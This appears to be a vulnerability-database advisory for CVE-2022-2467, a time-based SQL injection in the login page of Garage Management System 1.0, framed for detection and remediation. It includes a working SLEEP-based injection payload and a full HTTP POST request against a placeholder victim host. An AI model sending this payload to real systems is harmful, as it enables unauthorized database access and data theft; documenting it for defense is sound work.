🔙 목록으로 돌아가기

CVE-2022-2467: Garage Management System 1.0 - SQL Injection

TitleGarage Management System 1.0 - SQL Injection
Authoredoardottt
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Garage Management System 1.0.
CVSS Score9.8
EPSS Score0.63127
CVE IDCVE-2022-2467
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sourcecodester garagemanagementsystem sqli garage_management_system_project vuln

🔍 Vulnerability Description

Garage Management System 1.0 contains a SQL injection vulnerability in /login.php via manipulation of the argument username with input 1@a.com’ AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND ‘hsvT’=’hsvT. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(7)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2467.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2467.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A